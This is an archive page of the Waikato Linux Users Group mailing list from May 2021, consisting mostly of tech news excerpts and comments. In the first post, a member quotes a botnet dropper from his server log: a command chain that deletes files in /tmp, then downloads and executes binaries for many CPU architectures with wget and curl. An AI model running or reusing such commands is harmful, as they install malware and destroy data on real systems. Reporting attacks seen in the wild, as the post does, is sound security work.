- wlug - list.wlug.org.nz

Multi-Architecture Hack Attempt
by Lawrence D'Oliveiro 28 May '21

28 May '21

Saw a line like this pop up in the Apache log on my public-facing server from yesterday: "GET /shell?cd+/tmp;rm+-rf+*;wget+ «redacted»/jaws;sh+/tmp/jaws" I checked, and the file it is trying to fetch and execute still exists. It consists of about a dozen lines, all of this form: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget «redacted»/z0r0.«ext»; curl -O «redacted»/z0r0.«ext»; cat z0r0.«ext» >zeros6x; chmod +x *; ./zeros6x jaws.exploit all differing only in «ext», with values like “mips” and “mpsl” and “ppc”, “arm”, “arm5”, “arm6”, “arm7”, even “m68k”, plus of course “x86” and “i686”.

1 0

US Patent Office To Standardize On DOCX
by Lawrence D'Oliveiro 28 May '21

28 May '21

The US Patent Office will henceforth only accept submissions in Microsoft DOCX, aka ISO 29500 format <https://www.theregister.com/2021/05/27/uspto_pdf_charge/>. I agree that trying to do automatic processing of PDF submissions must have been a pain, but why not accept ODF, aka ISO 26300, as well, or even as the preferred format? It should be easier to deal with.

1 1

Why Does Windows Need To Reboot For Updates?
by Lawrence D'Oliveiro 28 May '21

28 May '21

Came across this blog posting from a Microsoft employee <https://devblogs.microsoft.com/oldnewthing/20151211-00/?p=92501> from a few years ago, which manages to address, yet avoid, the issue of Windows needing reboots to properly apply updates. Note the question: “Hasn’t the problem of updates being partially installed until the next reboot already been solved by changes in Windows?” The answer begins: This is, to a large extent, true. Modern versions of Windows use Component-Based Servicing (CBS). This technology makes sure that new Windows components, and new versions of existing components, are installed atomically. In other words, if it is possible to install or update a component without a reboot, CBS does so. If it is not possible (because one or more files are in use, or because the component requires more complicated setup), then the entire installation of the component is automatically suspended until the next reboot. However, it then continues to point out that many subsystems do not use this “CBS” technology, notable ones being drivers and Microsoft Office. And also remember, it doesn’t seem possible to replace components being, by running services. Can’t you fix this by stopping and restarting the affected services? On Linux, this is the obvious solution. Yet it never even occurs to this Microsoft engineer: Second, even setting the “Does the update do the right thing before the reboot?” problem aside, CBS itself creates another problem in this scenario. Since many Windows updates wind up getting their processing delayed until the reboot, that reboot itself can take longer (since all those pending operations then get performed). And in an environment where The Machine Simply Must Work, this means that the consequences of an accidental/unplanned reboot can be even worse.

1 0

Comcast Subscriber Receives DMCA Notice For Downloading Ubuntu
by Peter Reutemann 28 May '21

28 May '21

'TorrentFreak reports: Every day, people who download and share pirated content receive DMCA notices via their ISPs, warning them to cease and desist their infringing behavior. While the majority of these notices are accurate, one Ubuntu user says he has just been targeted by an anti-piracy company alleging that by torrenting an OS ISO released by Ubuntu itself, he breached copyright law. Posting to Reddit's /r/linux sub-Reddit, a forum with more than 656K subscribers, 'NateNate60' reported the unthinkable. After downloading an official Ubuntu ISO package (filename ubuntu-20.04.2.0-desktop-amd64.iso) he says he received a notice from Comcast's Infinity claiming that he'd been reported for copyright infringement. "We have received a notification by a copyright owner, or its authorized agent, reporting an alleged infringement of one or more copyrighted works made on or over your Xfinity Internet service," the posted notice reads. NateNate60 wisely redacted the notice to remove the 'Incident Number' and the precise time of the alleged infringement to protect his privacy but the clam was reported filed with Comcast on May 24, 2021. "The copyright owner has identified the IP address associated with your Xfinity Internet account at the time as the source of the infringing works," it continues, adding that NateNate60 should search all of his devices connected to his network and delete the files mentioned in the complaint. The allegedly infringing content is the 64-bit Ubuntu 20.04.2.0 LTS release but the first big question is whether the file is actually the official release from Canonical. Given that the listed hash value is 4ba4fbf7231a3a660e86892707d25c135533a16a and that matches the hash of the official release, mislabeled or misidentified content (wrong hash, mislabeled file etc) appears to be ruled out. Indeed, the same hash value is listed on Ubuntu's very own BitTorrent tracker and according to NateNate60, this is where he downloaded the torrent that led to the DMCA notice. It doesn't get much more official than that. According to the DMCA notice sent by Comcast, the complainant wasn't Ubuntu/Canonical but an anti-piracy company called OpSec Security, which according to its imprint is based in Germany. Presuming the notice is genuine (albeit sent in error), Comcast needs to be informed that mistakes have been made. The ISP has a repeat infringer policy and given the current hostile environment, terminating users is certainly on the agenda. Indeed, the notice states just that.' -- source: https://news.slashdot.org/story/21/05/26/2012228 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 2

Google Says Rowhammer Attacks Are Gaining Range as RAM is Getting Smaller
by Peter Reutemann 28 May '21

28 May '21

'A team of Google security researchers said they discovered a new way to perform Rowhammer attacks against computer memory (RAM) cards that broaden the attack's initial impact. From a report: First detailed in 2014, Rowhammer was a ground-breaking attack that exploited the design of modern RAM cards, where memory cells are stored in grid-like arrangements. The basic principle behind Rowhammer was that a malicious app could perform rapid read/write operations on a row of memory cells. As the cells would shift their values from 0 to 1 and vice versa in a very small time window, this would generate small electromagnetic fields inside the row of "hammered" memory cells. The result of these fields were errors in nearby memory rows that sometimes flipped bits and altered adjacent data. [...] In a research paper published this week, a team of five Google security researchers took Rowhammer attacks to a new level. In a new attack variation named Half-Double, researchers said they managed to carry out a Rowhammer attack that caused bit flips at a distance of two rows from the âoehammeredâ row instead of just one.' -- source: https://tech.slashdot.org/story/21/05/27/1533225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Waikato DHB Under “Cyber Attack”
by Lawrence D'Oliveiro 27 May '21

27 May '21

According to this report <https://www.nzherald.co.nz/nz/breaking-major-cyber-attack-at-waikato-distri…>, clinical services at all hospitals under the Waikato DHB are being impacted by some “major cyber attack” of unspecified nature (DDOS? Ransomware?), forcing the cancellation of patient appointments. Even their landline phones are not working.

5 14

Vulnerability in VMware product has severity rating of 9.8 out of 10
by Peter Reutemann 27 May '21

27 May '21

'Data centers around the world have a new concern to contend with—a remote code vulnerability in a widely used VMware product. The security flaw, which VMware disclosed and patched on Tuesday, resides in the vCenter Server, a tool used for managing virtualization in large data centers. vCenter Server is used to administer VMware’s vSphere and ESXi host products, which by some rankings are the first and second most popular virtualization solutions on the market. Enlyft, a site that provides business intelligence, shows that more than 43,000 organizations use vSphere. A VMware advisory said that vCenter machines using default configurations have a bug that, in many networks, allows for the execution of malicious code when the machines are reachable on a port that is exposed to the Internet. The vulnerability is tracked as CVE-2021-21985 and has a severity score of 9.8 out of 10.' -- source: https://arstechnica.com/gadgets/2021/05/vulnerability-in-vmware-product-has… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Asahi Linux Dev Reveals 'M1RACLES' Flaw In Apple M1
by Peter Reutemann 27 May '21

27 May '21

'Tom's Hardware reports: Asahi Linux developer Hector Martin has revealed a covert channel vulnerability in the Apple M1 chip that he dubbed M1RACLES, and in the process, he's gently criticized the way security flaws have started to be shared with the public. Martin's executive summary for M1RACLES sounds dire: "A flaw in the design of the Apple Silicon 'M1' chip allows any two applications running under an OS to covertly exchange data between them, without using memory, sockets, files, or any other normal operating system features. This works between processes running as different users and under different privilege levels, creating a covert channel for surreptitious data exchange. [...] The vulnerability is baked into Apple Silicon chips, and cannot be fixed without a new silicon revision." He also noted that this was the result of an intentional decision on Apple's part. "Basically, Apple decided to break the ARM spec by removing a mandatory feature, because they figured they'd never need to use that feature for macOS," he explained. "And then it turned out that removing that feature made it much harder for existing OSes to mitigate this vulnerability." The company would have to make a change on the silicon level with its followup to the M1 to mitigate this flaw. But he also made it clear in the FAQ that Mac owners shouldn't be particularly worried about M1RACLES because that covert channel affects two bits. It can be expanded, and Martin said that transfer rates over 1 MB/s are possible "without much optimization," but any malicious apps that might take advantage of such methods would be far more likely to share information via other channels. Calling this a two-bit vulnerability would be both technically and linguistically correct. It's a real security flaw, sure, but it's unlikely to pose a real threat to Apple's customers.' -- source: https://apple.slashdot.org/story/21/05/26/2112209 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Apple Is Locking Its Components To Particular Systems
by Lawrence D'Oliveiro 27 May '21

27 May '21

This teardown by IFixit of the new M1 Imac <https://www.theregister.com/2021/05/26/m1_imac/> gives it a repairability score of 2 out of 10. This isn’t helped by a new trend in Apple’s hardware: iFixit had a go at swapping the sensors between keyboards and found that while the key part of the sensor worked just fine, the Touch ID bit didn't. Much like the rest of the iDevice family; the Touch ID sensor is paired with its original keyboard. A previous article <https://www.theregister.com/2021/05/25/m1_imac_ifixit_teardown/> reports how far this has already gone with Iphones: If you switch a camera from one iPhone 12 to another, it won't work properly. If you re-use a display panel, Apple will disable TrueTone and warn the owner they're using a non-genuine part, as recently noted by Aussie right-to-repair advocate Hugh Jeffreys.

1 1

Thousands of Chrome Extensions Are Tampering With Security Headers
by Peter Reutemann 27 May '21

27 May '21

'The Record reports: Thousands of Google Chrome extensions available on the official Chrome Web Store are tampering with security headers on popular websites, putting users at risk of a wide range of web-based attacks. While they are a little-known technical detail, security headers are an important part of the current internet landscape. At a technical level, a security header is an HTTP response sent by the server to a client app, such as a browser. [...] In a paper presented at the MADWeb workshop at the NDSS 2021 security conference, researchers from the CISPA Helmholtz Center for Information Security said they tried to assess the number of Chrome extensions tampering with security headers for the very first time. Using a custom framework they built specifically for their study, the research team said they analyzed 186,434 Chrome extensions that were available on the official Chrome Web Store last year. Their work found that 2,485 extensions were intercepting and modifying at least one security header used by today's Top 100 most popular websites (as available in the Tranco list). The study didn't focus on all security headers, but only on the four most common ones, such as: Content-Security Policy (CSP), HTTP Strict-Transport-Security (HSTS), X-Frame-Options, and X-Content-Type-Options. While 2,485 extensions disabled at least one, researchers said they found 553 disabling all the four security headers they analyzed in their research. The most commonly disabled security header was CSP, a security header that was developed to allow site owners to control what web resources a page is allowed to load inside a browser and a typical defense that can protect websites and browsers against XSS and data injection attacks. According to the research team, in most of the cases they analyzed, the Chrome extensions disabled CSP and other security headers "to introduce additional seemingly benign functionalities on the visited webpage," and didn't look to be malicious in nature. However, even if the extensions wanted to enrich a user's experience online, the German academics argued that by tampering with security headers, all the extensions did was to expose users to attacks from other scripts and sites running inside the browser and on the web.' -- source: https://it.slashdot.org/story/21/05/26/0236254 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Vulnerabilities in billions of Wi-Fi devices let hackers bypass firewalls
by Peter Reutemann 24 May '21

24 May '21

'One of the things that makes Wi-Fi work is its ability to break big chunks of data into smaller chunks and combine smaller chunks into bigger chunks, depending on the needs of the network at any given moment. These mundane network plumbing features, it turns out, have been harboring vulnerabilities that can be exploited to send users to malicious websites or exploit or tamper with network-connected devices, newly published research shows. In all, researcher Mathy Vanhoef found a dozen vulnerabilities, either in the Wi-Fi specification or in the way the specification has been implemented in huge numbers of devices. Vanhoef has dubbed the vulnerabilities FragAttacks, short for fragmentation and aggregation attacks, because they all involve frame fragmentation or frame aggregation. Broadly speaking, they allow people within radio range to inject frames of their choice into networks protected by WPA-based encryption.' -- source: https://arstechnica.com/gadgets/2021/05/farewell-to-firewalls-wi-fi-bugs-op… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Linux on Chromebooks is Finally Coming Out of Beta
by Peter Reutemann 21 May '21

21 May '21

'Linux on Chromebooks is finally coming out of beta with the release of Chrome OS 91, Google said at its developer I/O conference. From a report: The company had offered Linux apps on Chrome OS alongside Android apps, hoping to reach an audience of developers with IDEs and so on. However, the Linux Development Environment, as Google had dubbed it, had been in beta ever since while first launched. The company had added new features at a steady cadence, enabling things like GPU acceleration, better support for USB drives, and so on so people could be more productive while using Linux apps. Alongside Linux, Google also announced that it would be bringing Android 11 to Chromebooks. Technically, the update has already started with Chrome OS 90 for select Chromebooks, and it'll come with a host of new features including increased optimization of Android apps and a new dark theme. Google's increased support of Android is no coincidence. The company says that the operating system sees 3x increased usage of Android apps, and the new Android 11 update will see Android move to a virtual machine rather than the current container based method, making it easier to update in the future.' -- source: https://linux.slashdot.org/story/21/05/20/143225 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Releases SimuLand, a Lab Environment To Simulate Attacker Tradecraft
by Peter Reutemann 21 May '21

21 May '21

'Microsoft today open-sourced a tool that can be used to build lab environments where security teams can simulate attacks and verify the detection effectiveness of Microsoft security products. From a report: Named SimuLand, the tool was specifically built to help security/IT teams that use Microsoft products such as Microsoft 365 Defender, Azure Defender, and Azure Sentinel. Currently, SimuLand comes with only one lab environment, specialized in detecting Golden SAML attacks. However, Microsoft said it's working on adding new ones. Community contributions are also welcomed, and the reason the project has been open-sourced on GitHub, with Microsoft hoping to get a helping hand from the tens of thousands of security teams that run its software. "If you would like to share a new end-to-end attacker path, let us know by opening an issue in our GitHub repository, and we would be happy to collaborate and provide some resources to make it happen," Microsoft said today in a blog post. But Microsoft doesn't want only lab environments specialized in executing well-known techniques or adversary tradecraft. The OS maker is also encouraging the community to contribute improved detection rules for the attacks they're sharing, so everyone can benefit from the shared knowledge.' -- source: https://news.slashdot.org/story/21/05/20/1842259 -- github: https://github.com/Azure/SimuLand -- github: https://github.com/microsoft/CyberBattleSim Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

4 vulnerabilities under attack give hackers full control of Android devices
by Peter Reutemann 20 May '21

20 May '21

'Unknown hackers have been exploiting four Android vulnerabilities that allow the execution of malicious code that can take complete control of devices, Google warned on Wednesday. All four of the vulnerabilities were disclosed two weeks ago in Google’s Android Security Bulletin for May. Google has released security updates to device manufacturers, who are then responsible for distributing the patches to users. Google’s May 3 bulletin initially didn’t report that any of the roughly 50 vulnerabilities it covered were under active exploitation. On Wednesday, Google updated the advisory to say that there are “indications” that four of the vulnerabilities “may be under limited, targeted exploitation.” Maddie Stone, a member of Google’s Project Zero exploit research group, removed the ambiguity. She declared on Twitter that the “4 vulns were exploited in-the-wild” as zero-days.' -- source: https://arstechnica.com/gadgets/2021/05/hackers-have-been-exploiting-4-crit… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

72 Hours From Patch To Exploit
by Lawrence D'Oliveiro 20 May '21

20 May '21

This report <https://www.theregister.com/2021/04/06/sap_patch_attacks/> from software company SAP and security company Onapsis says that, from the moment SAP releases a security patch for its products, it only takes about 72 hours until bad hats have reverse-engineered the patch, figured out the security vulnerability it is meant to fix, and started releasing an exploit to take advantage of that vulnerability. Actually, proof-of-concept code can appear quicker than that. Which leaves customers in a dilemma: continue running patches through their regular QA procedures before deployment, widening the window for exploits to get in, or forego those QA procedures and deploy patches quickly to plug holes while risking breaking production systems? And of course this wouldn’t be unique to SAP ...

1 1

Google Shows Off Android 12's Huge UI Overhaul
by Peter Reutemann 19 May '21

19 May '21

'At Google I/O 2021 today, Google confirmed that Android 12 is getting a huge new design. Ars Technica reports: Google calls the new design "Material You," and just like in the leaks, it's a UI that changes colors like a chameleon. For now, this design will only show up in Google Pixels, but Google says it will roll out across the ecosystem to the web, Chrome OS, smart displays, cars, watches, tablets, and every other Google form factor. The new interface is powered by a "color extraction" API that can pull the colors out of your wallpaper and apply them to the UI. This sounds exactly like the Palette API that was introduced in Android 5.0 (along with the original introduction of Material Design), but it's apparently a second swing at the color extraction idea, and Google is heavily using it in the UI now. The demo interfaces featured customized highlight colors, clock faces, widget backgrounds, and more, all matching the color of your wallpaper. Besides new colors, there are also tons of layout changes to the quick settings and notification panel. The first public beta of Android is now available. Google Pixel smartphones as far back as the Pixel 3 are eligible, as well as several devices from device-maker partners, including ASUS and OnePlus.' -- source: https://tech.slashdot.org/story/21/05/18/2134250 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Google and Samsung Are Merging Wear OS and Tizen
by Peter Reutemann 19 May '21

19 May '21

'Today, Google and Samsung announced that they are merging Wear OS and Tizen in an effort to better compete against Apple's watchOS. "The resulting platform is currently being referred to simply as 'Wear,' though that might not be the final name," notes The Verge. From the report: Benefits of the joint effort include significant improvements to battery life, 30 percent faster loading times for apps, and smoother animations. It also simplifies life for developers and will create one central smartwatch OS for the Android platform. Google is also promising a greater selection of apps and watch faces than ever before. "All device makers will be able to add a customized user experience on top of the platform, and developers will be able to use the Android tools they already know and love to build for one platform and ecosystem," Google's Bjorn Kilburn wrote in a blog post. Wired has more details on what's to come, including the tidbit that Samsung will stick with its popular rotating bezel on future devices -- but it's finished making Tizen-only smartwatches. There will also be a version of Google Maps that works standalone (meaning without your phone nearby) and a YouTube Music app that supports offline downloads. Oh, and Spotify will support offline downloads on Wear smartwatches, as well. Samsung confirmed that its next Galaxy Watch will run on this unified platform. And future "premium" Fitbit devices will also run the software.' -- source: https://tech.slashdot.org/story/21/05/18/2228252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

System76 Unveils Open Source 'Launch Configurable Keyboard' for Linux, Windows, and macOS
by Peter Reutemann 19 May '21

19 May '21

'System76 today unveiled its newest product -- the "Launch Configurable Keyboard." It is a mechanical keyboard made in the USA with a focus on open source. The Launch has both open source firmware and hardware. Even the configuration software -- which runs on Linux, Windows, and macOS -- is open source. From a report: "With a wide swath of customization options, the Launch is flexible to a variety of needs and use cases. The keyboard's thoughtful design keeps everything within reach, vastly reducing awkward hand contortions. Launch comes with additional keycaps and a convenient keycap puller, meaning one can swap keys based on personal workflow preferences to maximize efficiency. Launch also features a novel split Space Bar, which allows the user to swap out one Space Bar keycap for Shift, Backspace, or Function to reduce hand fatigue while typing. Launch uses only three keycap sizes to vastly expand configuration options," says System76. The keyboard, which has a removable USB-C cable for connectivity, is priced at $285.' -- source: https://news.slashdot.org/story/21/05/13/1727242 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Chrome Now Uses Duplex To Fix Your Stolen Passwords
by Peter Reutemann 19 May '21

19 May '21

'Google announced a new feature for its Chrome browser today that alerts you when one of your passwords has been compromised and then helps you automatically change your password with the help of... wait for it ... Google's Duplex technology. From a report: This new feature will start to roll out slowly to Chrome users on Android in the U.S. soon (with other countries following later), assuming they use Chrome's password-syncing feature. It's worth noting that this won't work for every site just yet. As a Google spokesperson told us, "the feature will initially work on a small number of apps and websites, including Twitter, but will expand to additional sites in the future." Now you may remember Duplex as the somewhat controversial service that can call businesses for you to make hairdresser appointments or check opening times. Google introduced Duplex at its 2018 I/O developer conference and launched it to a wider audience in 2019. Since then, the team has chipped away at bringing Duplex to more tasks and brought it the web, too. Now it's coming to Chrome to change your compromised passwords for you.' -- source: https://tech.slashdot.org/story/21/05/18/182218 Cheers, peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Microsoft Outlook Problem Was Microsoft Word’s Fault
by Lawrence D'Oliveiro 18 May '21

18 May '21

The recent problem Outlook users were having with e-mails turning up blank was due to an interaction with Word <https://www.theregister.com/2021/05/17/outlook_incident_report/>. Why Word? Because management of HTML-format mails in Outlook used to be the responsibility of (an embedded instance of) Internet Explorer, until that was abandoned because of all the security holes. So now Word handles that feature: For those who wonder why Outlook makes it so hard to format emails sensibly when doing things like quoting parts of an email received in the reply and typing in-line comments, or putting the background of the incoming email behind the reply: it is the interaction with Word that is to blame. Fair warning: ... today's Windows and Office 365 users are one bad update away from hours of lost productivity.

1 0

Amid Public Pressure Audacity Says It Will Not Collect Telemetry Data From Users
by Peter Reutemann 18 May '21

18 May '21

'After its recent announcement about plans to add telemetry collection prompted backlash, popular audio editor Audacity has announced it won't go ahead with the plan to collect its users' data. BetaNews reports: Audacity's new owner, Muse Group, has bowed to pressure from users and privacy advocates, announcing that the planned telemetry collection will no longer be going ahead. The company is blaming "communication mistakes" and public "misunderstanding" for the negative response to its previous data collection announcement.' -- source: https://yro.slashdot.org/story/21/05/17/191201 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

AT&T To Spin Off WarnerMedia
by Lawrence D'Oliveiro 18 May '21

18 May '21

Another questionable mega-acquisition bites the dust <https://arstechnica.com/tech-policy/2021/05/att-to-spin-off-warnermedia-wil…>, with AT&T admitting it made a mistake by trying to become a media conglomerate. There is a local element to this story. The company called Discovery, that is planning to buy these assets, also owns Three (aka TV3, aka NewsHub). So there will inevitably be some impact in our own little neck of the woods, though whether that will be for better or worse is the question <https://www.nzherald.co.nz/business/the-spinoff-a-blockbuster-media-deal-co…>.

1 0

Apple’s M1: Throughput Versus Latency
by Lawrence D'Oliveiro 18 May '21

18 May '21

An old lesson gets learned yet again <https://arstechnica.com/gadgets/2021/05/apples-m1-is-a-fast-cpu-but-m1-macs…>: efficiency and responsiveness in a computer system are often at odds, and improving one can hurt the other. We can also see a negative example—one in which the fastest throughput corresponded to distinctly unhappy users—with the circa-2006 introduction of the Completely Fair Queue (cfq) I/O scheduler in the Linux kernel. ... Unfortunately, while cfq did in fact measurably improve maximum throughput, it did so at the increase of task latency—which meant that a moderately loaded system felt sluggish and unresponsive to its users, leading to a large groundswell of complaints.

1 0

WLUG May 24 meeting
by Peter Reutemann 15 May '21

15 May '21

Hi everyone For our WLUG meeting on May 24, I was thinking of an evening aimed at people new to Linux or ones that would like to give it a go. Attendees could bring their laptops and a 4GB+ USB stick to the meeting. Then we can put various OSes on the sticks for them to try (and they don't have to download and dd these themselves). With a bunch of more experienced Linux users there to give them a hand, it should be a more rewarding evening for most newcomers. I would also announce it a bit earlier here at uni then and maybe attract some students. What are your thoughts? Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 4

Scheme-Flooding Browser Attack
by Lawrence D'Oliveiro 15 May '21

15 May '21

A company that makes a browser-fingerprinting library (ostensibly for fraud prevention) claims to have found <https://www.theregister.com/2021/05/14/browser_fingerprinting_flaw/> a (admittedly fiddly and not entirely reliable) way to uniquely fingerprint your machine even though you might be using a range of different browsers. This is done by trying to access custom URL schemes as installed by various custom apps, since the presence of these apps is independent of which browser you might be using. So I tried their schemeflood.com proof-of-concept site, it churned away for a few seconds, with a little extra window flickering at the bottom, then I got a message saying “The clearkey plugin has crashed”. It also showed me the identifier it computed for me, which was “0FVVVV”, based on “0 applications you have installed ... out of 24 applications in our database”. Apparently that’s only been seen 1471 times out of 17496 tests so far, which makes it “91.59% unique”.

1 0

The Stats On Microsoft’s Azure Data Centre Switch Failures
by Lawrence D'Oliveiro 13 May '21

13 May '21

Microsoft has put out a paper <https://www.nextplatform.com/2021/05/12/microsoft-does-the-math-on-azure-da…> detailing its experiences with the reliability of various vendors’ switches within its Azure data centres. It has a total of over 180,000 switches, and many of them are running “SONiC”, which is a Microsoft-developed Linux variant as an alternative to the vendors’ own proprietary switch OSes. The adoption of SONiC made a major difference to the reliability of the switches: ... in the aggregate, the switches in the Azure network had a 98 percent uptime during those three months, and if Microsoft moved to SONiC on all of its machines, that would boost that to around 99 percent. And if Microsoft is not doing that, we suspect that SONiC has some scale and performance issues. In the future we may be writing about how Microsoft tossed out all other NOSes, but that is not what is happening now, and we suspect for good reasons.

2 1

Google Says Docs Will Now Use Canvas Based Rendering, Warns Impact on Some Chrome Extensions
by Peter Reutemann 13 May '21

13 May '21

'Google, making the announcement in a blog post: We're updating the way Google Docs renders documents. Over the course of the next several months, we'll be migrating the underlying technical implementation of Docs from the current HTML-based rendering approach to a canvas-based approach to improve performance and improve consistency in how content appears across different platforms. We don't expect this change to impact the functionality of the features in Docs. However, this may impact some Chrome extensions, where they may no longer work as intended. Some Chrome extensions rely on the way the backend of a Google Doc is structured or specific bits of HTML to function properly. By moving away from HTML-based rendering to a canvas-based rendering, some Chrome extensions may not function as intended on docs.google.com and may need to be updated. Admins should review the current extensions deployed in their organization. [...] If you are building your own integrations with Google Docs, we recommend using Google Workspace Add-ons framework, which uses the supported Workspace APIs and integration points. This will help ensure there will be less work in the future to support periodic UI implementation changes to Docs.' -- source: https://tech.slashdot.org/story/21/05/12/165216 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Microsoft To Bring eBPF To Windows
by Lawrence D'Oliveiro 12 May '21

12 May '21

eBPF (Extended Berkeley Packet Filter) is a programmable, high-performance packet-filtering engine built into the Linux kernel, into which you can load custom programs for controlling and monitoring the behaviour of the network stack. Now Microsoft wants to bring some of the same networking goodness to Windows <https://www.theregister.com/2021/05/11/microsoft_linux_ebpf/>: Microsoft, having force fed Windows with Linux supplements in recent years, has moved on to embracing and extending Linux tooling. eBPF programs have proven useful on Linux for denial-of-service defense and system observability. And since there's been interest in adapting the technology to other operating systems, Microsoft has decided to give the software a shot at Windows. Fans of the well-known “Three Es” might note that the platform being embraced and extended here is Windows.

1 1

Quick, Patch Your Universal Turing Machines
by Lawrence D'Oliveiro 11 May '21

11 May '21

A researcher has found a security vulnerability in a Universal Turing Machine (UTM) design originally conceived by computer scientist Marvin Minsky in 1967. A UTM is a mathematical abstraction of a computer, designed for studying fundamental theoretical questions such as what sorts of problem are or are not computable. Nobody would ever implement a real machine that worked like a UTM. Or would they? The vuln has even been given its own CVE ID. Though the page does say NOTE: the discoverer states "this vulnerability has no real-world implications." <https://www.theregister.com/2021/05/11/turing_machine_0day_no_patch_availab…>

1 0

Linus Torvalds Weighs in on Commercial Users of Open Source Code
by Peter Reutemann 11 May '21

11 May '21

'This week Linus Torvalds continued a long email interview with Jeremy Andrews, founding partner/CEO of Tag1 (a global technology consulting firm and the second all-time leading contributor to Drupal). In the first part Torvalds had discussed everything from Apple's ARM64 chips and Rust drivers, to his own Fedora-based home work environment — and reflections on the early days of Linux. But the second part offers some deeper insight into the way Torvalds thinks, some personal insight, what he'd share with other project maintainers — and some thoughts on getting corporations to contribute to open source development: While open source has been hugely successful, many of the biggest users, for example corporations, do nothing or little to support or contribute back to the very open source projects they rely on. Even developers of surprisingly large and successful projects (if measured by number of users) can be lucky to earn enough to buy coffee for the week. Do you think this is something that can be solved? Is the open source model sustainable? Linus Torvalds: I really don't have an answer to this, and for some reason the kernel has always avoided the problem. Yes, there are companies that are pure "users" of Linux, but they still end up wanting support, so they then rely on contractors or Linux distributions, and those obviously then end up as one of the big sources of kernel developer jobs. And a fair number of big tech companies that use the kernel end up actively participating in the development process. Sometimes they end up doing a lot of internal work and not being great at feeding things back upstream (I won't name names, and some of them really are trying to do better), but it's actually very encouraging how many big companies are very openly involved with upstream kernel development, and are major parts of the community. So for some reason, the kernel development community has been pretty successful about integrating with all the commercial interests. Of course, some of that has been very much conscious: Linux has very much always been open to commercial users, and I very consciously avoided the whole anti-corporate mindset that you can most definitely find in some of the "Free Software" groups. I think the GPLv2 is a great license, but at the same time I've been very much against some of the more extreme forms of "Free Software", and I — and Linux — was very much part of the whole rebranding to use "Open Source". Because frankly, some of the almost religious overtones of rms and the FSF were just nutty, and a certain portion of the community was actively driving commercial use away. And I say that as somebody who has always been wary of being too tainted by commercial interests... I do think that some projects may have shot themselves in the foot by being a bit too anti-commercial, and made it really hard for companies to participate... But is it sustainable? Yes. I'm personally 100% convinced that not only is open source sustainable, but for complex technical issues you really need open source simply because the problem space ends up being too complex to manage inside one single company. Even a big and competent tech company. But it does require a certain openness on both sides. Not all companies will be good partners, and some developers don't necessarily want to work with big companies. In the interview Torvalds also thanks the generous education system in Finland, and describes what it was like moving from Finland to America. And as for how long he'll continue working on Linux, Torvalds says, "I do enjoy what I do, and as long as I feel I'm actually helping the project, I'll be around... "in the end, I really enjoy what I do. I'd be bored to tears without kernel development."' -- source: https://linux.slashdot.org/story/21/05/10/0148252 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

2 1

Security researcher successfully jailbreaks an Apple AirTag
by Peter Reutemann 11 May '21

11 May '21

'This weekend, German security researcher stacksmashing declared success at breaking into, dumping, and reflashing the microcontroller of Apple's new AirTag object-location product. Breaking into the microcontroller essentially meant being able both to research how the devices function (by analyzing the dumped firmware) and to reprogram them to do unexpected things. Stacksmashing demonstrated this by reprogramming an AirTag to pass a non-Apple URL while in Lost Mode.' -- source: https://arstechnica.com/information-technology/2021/05/security-researcher-… Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

1 0

Thousands of Tor Exit Nodes Attacked Cryptocurrency Users Over the Past Year
by Peter Reutemann 11 May '21

11 May '21

